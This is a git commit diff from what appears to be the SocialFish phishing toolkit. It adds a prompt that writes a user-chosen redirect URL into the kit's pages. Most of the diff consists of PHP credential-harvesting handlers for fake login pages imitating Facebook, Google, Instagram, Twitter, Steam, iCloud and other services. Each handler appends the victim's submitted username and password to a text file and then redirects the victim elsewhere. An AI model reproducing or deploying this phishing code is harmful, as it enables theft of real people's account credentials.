custom redirect module (#92)

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Add files via upload

* Update SocialFish.py
This commit is contained in:
Usama Abdul Sattar 2018-10-16 21:03:33 +05:00 committed by GitHub
parent 72a8cb16ce
commit be9c14a9b6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
25 changed files with 52 additions and 24 deletions

View File

@ -324,6 +324,34 @@ def runServer():
if __name__ == "__main__": if __name__ == "__main__":
try: try:
runPEnv() runPEnv()
def custom():
print("\n Insert a custom redirect url: ")
custom = input('\n SF-An0nUD4Y > ')
if 'http://' in custom:
pass
else:
custom = 'http://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
custom()
def server(): def server():
print("\n Server you want to use".format(CYAN, END)) print("\n Server you want to use".format(CYAN, END))
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, END)) print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, END))

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://github.com'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://ig-liker.net/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -21,7 +21,7 @@ if ($_SERVER["REQUEST_METHOD"] == "POST") {
} else { } else {
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . " [password]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . " [password]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://accounts.snapchat.com'); header('Location: <CUSTOM>');
} }
} }

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://vk.com/login'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://vk.com'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: ./result.html'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: ./result.html'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://messenger.com/login.php'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://mbasic.facebook.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://facebook.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: ./result.html'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://accounts.google.com'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['Email'] . " [PASS]: " . $_POST['Passwd'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['Email'] . " [PASS]: " . $_POST['Passwd'] . "\n", FILE_APPEND);
header('Location: https://google.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: http://icloud.cdn-apple.com'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://linkedin.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: http://login.live.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,6 +2,6 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://stackoverflow.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[USERNAME]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[USERNAME]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://store.steampowered.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[Twitch-EMAIL]: " . $_POST['twitch_user'] . " [Twitch-PASS]: " . $_POST['twitch_pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[Twitch-EMAIL]: " . $_POST['twitch_user'] . " [Twitch-PASS]: " . $_POST['twitch_pass'] . "\n", FILE_APPEND);
header('Location: https://twitch.tv/login'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[FB-EMAIL]: " . $_POST['fb_email'] . " [FB-PASS]: " . $_POST['fb_pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[FB-EMAIL]: " . $_POST['fb_email'] . " [FB-PASS]: " . $_POST['fb_pass'] . "\n", FILE_APPEND);
header('Location: https://twitch.tv/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['usernameOrEmail'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['usernameOrEmail'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: https://twitter.com/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND);
header('Location: http://wordpress.org/'); header('Location: <CUSTOM>');
exit(); exit();

View File

@ -2,5 +2,5 @@
include 'ip.php'; include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://login.yahoo.com'); header('Location: <CUSTOM>');
exit(); exit();